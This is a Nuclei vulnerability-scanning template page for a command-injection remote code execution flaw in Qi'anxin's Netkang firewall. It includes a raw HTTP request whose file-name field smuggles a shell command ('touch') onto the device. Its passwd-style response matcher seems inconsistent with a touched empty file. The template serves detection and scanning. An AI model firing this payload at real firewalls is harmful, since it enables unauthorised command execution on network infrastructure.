Qi'anxin Netkang Next Generation Firewall - Remote Code Execution

ID: qi-anxin-netkang-next-generation-firewall-rce

Severity: critical

Author: pikpikcu

Tags: rce,firewall,intrusive

Description

Qi’anxin Netkang Next Generation Firewall is susceptible to remote code execution.

YAML Source

id: qi-anxin-netkang-next-generation-firewall-rce

info:
  name: Qi'anxin Netkang Next Generation Firewall - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    Qi'anxin Netkang Next Generation Firewall is susceptible to remote code execution.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: rce,firewall,intrusive

http:
  - raw:
      - |
        POST /directdata/direct/router HTTP/1.1
        Host: {{Hostname}}

        {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;touch /var/www/html/{{randstr}}.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ea604ee665b60b7637e03e8ca3b98ece9cb330a566a0cc544f4bd64c5b8244600220724f78b8568e130008ba755f56e44a4b99c800ef5610b368fb8d2c32b2544d0f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/qi-anxin-netkang-next-generation-firewall-rce.yaml"

View on Github